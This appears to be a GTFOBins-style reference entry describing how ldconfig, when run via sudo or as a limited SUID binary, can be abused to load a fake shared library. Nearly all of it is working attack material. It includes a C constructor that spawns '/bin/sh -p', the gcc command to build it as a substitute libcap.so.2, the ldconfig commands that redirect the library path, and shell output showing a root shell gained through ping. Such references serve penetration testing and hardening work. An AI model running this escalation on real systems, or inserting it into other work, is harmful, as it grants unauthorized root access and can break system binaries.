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55 lines
1.5 KiB
Markdown
55 lines
1.5 KiB
Markdown
---
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description: |
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Follows a minimal example of how to use the described technique (details may change across different distributions).
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Run the code associated with the technique.
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Identify a target SUID executable, for example the `libcap` library of `ping`:
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```
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$ ldd /bin/ping | grep libcap
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libcap.so.2 => /tmp/tmp.9qfoUyKaGu/libcap.so.2 (0x00007fc7e9797000)
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```
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Create a fake library that spawns a shell at bootstrap:
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```
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echo '#include <unistd.h>
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__attribute__((constructor))
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static void init() {
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execl("/bin/sh", "/bin/sh", "-p", NULL);
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}
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' >"$TF/lib.c"
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```
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Compile it with:
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```
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gcc -fPIC -shared "$TF/lib.c" -o "$TF/libcap.so.2"
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```
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Run `ldconfig` again as described below then just run `ping` to obtain a root shell:
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```
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$ ping
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# id
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uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
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```
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functions:
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sudo:
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- description: This allows to override one or more shared libraries. Beware though that it is easy to *break* target and other binaries.
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code: |
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TF=$(mktemp -d)
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echo "$TF" > "$TF/conf"
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# move malicious libraries in $TF
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sudo ldconfig -f "$TF/conf"
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limited-suid:
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- description: This allows to override one or more shared libraries. Beware though that it is easy to *break* target and other binaries.
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code: |
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TF=$(mktemp -d)
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echo "$TF" > "$TF/conf"
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# move malicious libraries in $TF
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./ldconfig -f "$TF/conf"
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---
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